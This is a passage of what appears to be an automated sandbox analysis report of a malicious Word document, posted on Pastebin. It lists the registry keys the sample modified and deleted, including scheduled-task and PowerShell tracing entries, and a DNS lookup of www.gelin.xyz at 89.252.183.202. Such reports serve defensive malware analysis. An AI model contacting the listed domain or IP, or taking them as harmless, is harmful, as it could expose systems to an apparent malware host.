  543. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\79176FB2-B7F2-11CE-97EF-00AA006D2776",
  544. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\79176FB2-B7F2-11CE-97EF-00AA006D2776\\(Default)",
  545. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\79176FB2-B7F2-11CE-97EF-00AA006D2776",
  546. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\79176FB2-B7F2-11CE-97EF-00AA006D2776\\(Default)",
  547. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\4C5992A5-6926-101B-9992-00000B65C6F9",
  548. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\4C5992A5-6926-101B-9992-00000B65C6F9\\(Default)",
  549. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\4C5992A5-6926-101B-9992-00000B65C6F9",
  550. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\4C5992A5-6926-101B-9992-00000B65C6F9\\(Default)",
  551. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\796ED650-5FE9-11CF-8D68-00AA00BDCE1D",
  552. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\796ED650-5FE9-11CF-8D68-00AA00BDCE1D\\(Default)",
  553. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\796ED650-5FE9-11CF-8D68-00AA00BDCE1D",
  554. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\796ED650-5FE9-11CF-8D68-00AA00BDCE1D\\(Default)",
  555. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE0-6198-11CF-8CE8-00AA006CB389",
  556. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE0-6198-11CF-8CE8-00AA006CB389\\(Default)",
  557. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE0-6198-11CF-8CE8-00AA006CB389",
  558. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE0-6198-11CF-8CE8-00AA006CB389\\(Default)",
  559. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE1-6198-11CF-8CE8-00AA006CB389",
  560. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE1-6198-11CF-8CE8-00AA006CB389\\(Default)",
  561. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE1-6198-11CF-8CE8-00AA006CB389",
  562. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE1-6198-11CF-8CE8-00AA006CB389\\(Default)",
  563. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE2-6198-11CF-8CE8-00AA006CB389",
  564. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE2-6198-11CF-8CE8-00AA006CB389\\(Default)",
  565. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE2-6198-11CF-8CE8-00AA006CB389",
  566. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE2-6198-11CF-8CE8-00AA006CB389\\(Default)",
  567. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE3-6198-11CF-8CE8-00AA006CB389",
  568. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE3-6198-11CF-8CE8-00AA006CB389\\(Default)",
  569. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE3-6198-11CF-8CE8-00AA006CB389",
  570. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE3-6198-11CF-8CE8-00AA006CB389\\(Default)",
  571. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE4-6198-11CF-8CE8-00AA006CB389",
  572. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE4-6198-11CF-8CE8-00AA006CB389\\(Default)",
  573. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE4-6198-11CF-8CE8-00AA006CB389",
  574. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE4-6198-11CF-8CE8-00AA006CB389\\(Default)",
  575. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE5-6198-11CF-8CE8-00AA006CB389",
  576. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE5-6198-11CF-8CE8-00AA006CB389\\(Default)",
  577. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE5-6198-11CF-8CE8-00AA006CB389",
  578. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE5-6198-11CF-8CE8-00AA006CB389\\(Default)",
  579. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE6-6198-11CF-8CE8-00AA006CB389",
  580. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE6-6198-11CF-8CE8-00AA006CB389\\(Default)",
  581. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE6-6198-11CF-8CE8-00AA006CB389",
  582. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE6-6198-11CF-8CE8-00AA006CB389\\(Default)",
  583. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE8-6198-11CF-8CE8-00AA006CB389",
  584. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE8-6198-11CF-8CE8-00AA006CB389\\(Default)",
  585. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE8-6198-11CF-8CE8-00AA006CB389",
  586. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE8-6198-11CF-8CE8-00AA006CB389\\(Default)",
  587. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE9-6198-11CF-8CE8-00AA006CB389",
  588. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE9-6198-11CF-8CE8-00AA006CB389\\(Default)",
  589. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE9-6198-11CF-8CE8-00AA006CB389",
  590. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE9-6198-11CF-8CE8-00AA006CB389\\(Default)",
  591. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5CEF5613-713D-11CE-80C9-00AA00611080",
  592. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5CEF5613-713D-11CE-80C9-00AA00611080\\(Default)",
  593. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5CEF5613-713D-11CE-80C9-00AA00611080",
  594. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5CEF5613-713D-11CE-80C9-00AA00611080\\(Default)",
  595. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\92E11A03-7358-11CE-80CB-00AA00611080",
  596. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\92E11A03-7358-11CE-80CB-00AA00611080\\(Default)",
  597. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\92E11A03-7358-11CE-80CB-00AA00611080",
  598. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\92E11A03-7358-11CE-80CB-00AA00611080\\(Default)",
  599. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC9-866C-11CF-AB7C-00AA00C08FCF",
  600. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC9-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  601. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC9-866C-11CF-AB7C-00AA00C08FCF",
  602. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC9-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  603. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\7B020EC8-AF6C-11CE-9F46-00AA00574A4F",
  604. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\7B020EC8-AF6C-11CE-9F46-00AA00574A4F\\(Default)",
  605. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\7B020EC8-AF6C-11CE-9F46-00AA00574A4F",
  606. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\7B020EC8-AF6C-11CE-9F46-00AA00574A4F\\(Default)",
  607. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery",
  608. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\645851",
  609. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\645851\\645851",
  610. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\Trusted Documents\\LastPurgeTime",
  611. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
  612. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  613. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  614. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
  615. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
  616. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
  617. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\General\\LastAutoSavePurgeTime",
  618. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\ProductFiles",
  619. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Licensing\\09D07EFC505F4D9CBFD5ACE3217F6654",
  620. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100A0C00000000000F01FEC\\Usage\\SpellingAndGrammarFiles_3082",
  621. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100C0400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1036",
  622. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F10090400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1033",
  623. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Toolbars\\Settings\\Microsoft Word",
  624. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Data\\Settings",
  625. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Options\\BackgroundOpen",
  626. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.doc\\OpenWithList\\MRUList",
  627. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Action Center\\Checks\\E8433B72-5842-4d43-8645-BC2C35960837.check.106\\CheckSetting",
  628. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Action Center\\Checks\\E8433B72-5842-4d43-8645-BC2C35960837.check.101\\CheckSetting",
  629. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Action Center\\Checks\\E8433B72-5842-4d43-8645-BC2C35960837.check.103\\CheckSetting",
  630. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Action Center\\Checks\\E8433B72-5842-4d43-8645-BC2C35960837.check.100\\CheckSetting",
  631. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Action Center\\Checks\\E8433B72-5842-4d43-8645-BC2C35960837.check.102\\CheckSetting",
  632. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Action Center\\Checks\\E8433B72-5842-4d43-8645-BC2C35960837.check.104\\CheckSetting",
  633. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  634. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\CEBFF5CD-ACE2-4F4F-9178-9926F41749EA\\Count\\1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7\\pzq.rkr",
  635. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\CEBFF5CD-ACE2-4F4F-9178-9926F41749EA\\Count\\HRZR_PGYFRFFVBA",
  636. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\CEBFF5CD-ACE2-4F4F-9178-9926F41749EA\\Count\\7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R\\Zvpebfbsg Bssvpr\\Bssvpr15\\JVAJBEQ.RKR",
  637. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Action Center\\Checks\\11CD958A-C507-4EF3-B3F2-5FD9DFBD2C78.check.101\\CheckSetting",
  638. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\5815FD1D-8F98-4376-8534-30136DFFB6E4\\Path",
  639. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\5815FD1D-8F98-4376-8534-30136DFFB6E4\\Hash",
  640. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\Microsoft\\Windows Defender\\MP Scheduled Scan\\Id",
  641. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\Microsoft\\Windows Defender\\MP Scheduled Scan\\Index",
  642. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\5815FD1D-8F98-4376-8534-30136DFFB6E4\\Triggers",
  643. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\5815FD1D-8F98-4376-8534-30136DFFB6E4\\DynamicInfo",
  644. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\ED0D73D7-BC97-46E2-AC55-FD6EB3F72C05\\DynamicInfo",
  645. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Handshake\\02F446B8-C8AE-48AE-A2CB-E1C80B361FC6",
  646. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\B17E070E-57E3-43F6-96F5-A9A9C921DEBF\\DynamicInfo",
  647. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Handshake\\75CB7685-8E4A-414C-B5B8-3D486F7D6CEB",
  648. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\DF000DCA-3FA2-48A6-9E59-C0606F9F8D73\\DynamicInfo",
  649. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Handshake\\D1A85936-A218-4880-9901-1C6343DC28B9",
  650. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Handshake\\285AF614-AB99-4E2A-B187-2EEE4FF35A33",
  651. "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Tracing\\powershell_RASAPI32",
  652. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\powershell_RASAPI32\\EnableFileTracing",
  653. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\powershell_RASAPI32\\EnableConsoleTracing",
  654. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\powershell_RASAPI32\\FileTracingMask",
  655. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\powershell_RASAPI32\\ConsoleTracingMask",
  656. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\powershell_RASAPI32\\MaxFileSize",
  657. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\powershell_RASAPI32\\FileDirectory",
  658. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Handshake\\02F446B8-C8AE-48AE-A2CB-E1C80B361FC6\\data",
  659. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Handshake\\75CB7685-8E4A-414C-B5B8-3D486F7D6CEB\\data",
  660. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Handshake\\D1A85936-A218-4880-9901-1C6343DC28B9\\data",
  661. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Handshake\\285AF614-AB99-4E2A-B187-2EEE4FF35A33\\data"
  662.  
  663.  
  664. * Deleted Registry Keys:
  665. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\?er",
  666. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\c*q",
  667. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Enum\\PCIIDE\\IDECHANNEL\\4&2617AEAE&0&1\\CustomPropertyHwIdKey",
  668. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Enum\\PCIIDE\\IDECHANNEL\\4&2617AEAE&0&0\\CustomPropertyHwIdKey"
  669.  
  670.  
  671. * DNS Communications:
  672.  
  673. "type": "A",
  674. "request": "www.gelin.xyz",
  675. "answers":
  676.  
  677.  
  678.  
  679. * Domains:
  680.  
  681. "ip": "89.252.183.202",
  682. "domain": "www.gelin.xyz"
  683.  
  684.  
  685.  
  686. * Network Communication - ICMP:
  687.  
  688. * Network Communication - HTTP:
  689.  
  690. * Network Communication - SMTP:
  691.  
  692. * Network Communication - Hosts:
  693.  
  694. * Network Communication - IRC:
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!